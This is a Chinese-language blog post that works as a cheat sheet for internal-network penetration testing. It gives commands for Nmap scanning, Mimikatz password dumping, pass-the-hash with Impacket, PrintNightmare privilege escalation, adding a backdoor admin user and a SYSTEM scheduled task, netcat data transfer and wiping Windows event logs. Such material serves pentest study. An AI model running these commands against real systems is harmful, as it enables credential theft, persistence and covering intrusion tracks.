常见的内网渗透思路及方法(包含示例)

内网渗透是指在企业或组织的内部网络中进行安全测试,以发现和利用网络中的安全漏洞。

以下是一些常见的内网渗透思路和方法,包含具体示例:

1. 信息收集

1.1 网络扫描
  • 目的:识别内网中的活跃主机和开放端口。

  • 工具:Nmap、Masscan

    示例

    • 使用Nmap进行Ping扫描,识别活跃主机:

      复制代码
      nmap -sP 192.168.1.0/24
    • 使用Nmap进行端口扫描和服务版本探测:

      复制代码
      nmap -sV 192.168.1.100
1.2 服务枚举
  • 目的:识别具体服务及其版本,以便寻找潜在漏洞。

  • 工具:Nmap、Netcat、Telnet

    示例

    • 使用Nmap进行详细的服务版本探测:

      复制代码
      nmap -sV -p 80,443,445 192.168.1.100
1.3 DNS枚举
  • 目的:通过DNS枚举了解内部域名和子域名结构。

  • 工具:dnsenum、Fierce、dnsrecon

    示例

    • 使用dnsenum进行DNS枚举:

      复制代码
      dnsenum --enum example.local

2. 主机发现和漏洞利用

2.1 漏洞扫描
  • 目的:识别主机上的已知漏洞。

  • 工具:Nessus、OpenVAS、Qualys

    示例

    • 使用Nessus进行漏洞扫描:

      复制代码
      nessus -q -x example_scan.xml 192.168.1.100
2.2 利用已知漏洞
  • 目的:利用已知漏洞获取目标主机的控制权。

  • 工具:Metasploit、Exploit-db

    示例

    • 使用Metasploit利用MS17-010漏洞(永恒之蓝)

3. 凭证收集和利用

3.1 SMB枚举
  • 目的:通过SMB协议枚举共享资源和用户信息。

  • 工具:Enum4linux、smbclient

    示例

    • 使用Enum4linux枚举共享和用户信息:

      复制代码
      enum4linux -a 192.168.1.100
3.2 密码抓取
  • 目的:从内存中抓取明文凭证或哈希。

  • 工具:Mimikatz、ProcDump

    示例

    • 使用Mimikatz抓取明文密码:

      复制代码
      privilege::debug sekurlsa::logonpasswords
3.3 Pass-the-Hash攻击
  • 目的:利用抓取的哈希进行Windows身份验证。

  • 工具:Impacket、pth-winexe

    示例

    • 使用Impacket执行Pass-the-Hash攻击:

      复制代码
      wmiexec.py -hashes <NTLM_HASH> administrator@192.168.1.100

4. 权限提升

4.1 本地提权漏洞利用
  • 目的:利用本地漏洞提升权限。

  • 工具:Metasploit、Exploit-db

    示例

    • 利用PrintNightmare漏洞提权:

      复制代码
      use exploit/windows/local/printnightmare set SESSION 1 exploit
4.2 权限提升脚本
  • 目的:自动扫描和发现潜在的提权点。

  • 工具:WinPEAS、LinPEAS

    示例

    • 运行WinPEAS脚本:

      复制代码
      winpeas.exe > output.txt

5. 横向移动

5.1 使用RDP、WMI和WinRM
  • 目的:通过这些协议连接到其他主机。

  • 工具:CrackMapExec、Impacket

    示例

    • 使用CrackMapExec进行横向移动:

      复制代码
      crackmapexec smb 192.168.1.0/24 -u administrator -p password
5.2 SSH横向移动
  • 目的:利用现有的SSH凭证连接到其他Linux主机。

  • 工具:SSH、Paramiko

    示例

    • 利用SSH进行横向移动:

      复制代码
      ssh user@192.168.1.101

6. 持久化

6.1 创建新用户
  • 目的:在目标系统中创建具有管理员权限的新用户。

  • 工具:Windows命令、Linux命令

    示例

    • 在Windows中创建新用户:

      复制代码
      net user pentest Passw0rd! /add net localgroup administrators pentest /add
6.2 计划任务和服务
  • 目的:利用计划任务或服务来保持持久化。

  • 工具:Windows Task Scheduler、cron

    示例

    • 在Windows中创建计划任务:

      复制代码
      schtasks /create /tn "Persistence" /tr "C:\backdoor.exe" /sc onlogon /ru SYSTEM

7. 数据收集和提取

7.1 文件搜集
  • 目的:搜集敏感文件和信息,如密码文件、配置文件等。

  • 工具:PowerShell、find、grep

    示例

    • 使用PowerShell搜索含有密码的文件:

      复制代码
      Get-ChildItem -Path C:\ -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern "password"
7.2 数据提取
  • 目的:通过各种通道将数据提取到外部。

  • 工具:Netcat、FTP、DNS隧道

    示例

    • 使用Netcat传输数据:

      复制代码
      nc -l -p 4444 > data.txt nc 192.168.1.100 4444 < data.txt

8. 痕迹清理

日志清理
  • 目的:删除或篡改日志文件以隐藏入侵痕迹。

  • 工具:PowerShell、Wevtutil、Clear-EventLog

    示例

    • 使用PowerShell清理Windows事件日志:

      复制代码
      wevtutil cl System wevtutil cl Security

个人记录,也希望能够帮到你哦~

相关推荐
向宇it6 分钟前
【unity游戏开发——网络】网络游戏通信方案——强联网游戏(Socket长连接)、 弱联网游戏(HTTP短连接)
网络·http·游戏·unity·c#·编辑器·游戏引擎
怦然星动_12 分钟前
业务二层隔离-vlan技术
网络
Mr_Xuhhh13 分钟前
网络基础(1)
c语言·开发语言·网络·c++·qt·算法
WooaiJava14 分钟前
多个参数用websocket 向io 服务器发送变量,一次发一个,并接收响应
网络·websocket·网络协议
醇醛酸醚酮酯1 小时前
std::promise和std::future的使用示例——单线程多链接、多线程单链接
网络·c++·算法
Net_Walke1 小时前
【网络协议】WebSocket简介
网络·websocket·网络协议
xkroy3 小时前
网络协议概念与应用层
网络
筏.k3 小时前
C++ 网络编程(14) asio多线程模型IOThreadPool
网络·c++·架构
门思科技4 小时前
设计可靠 LoRaWAN 设备时需要考虑的关键能力
运维·服务器·网络·嵌入式硬件·物联网
小高不会迪斯科4 小时前
MIT 6.824学习心得(2) 浅谈多线程和RPC
网络·网络协议·rpc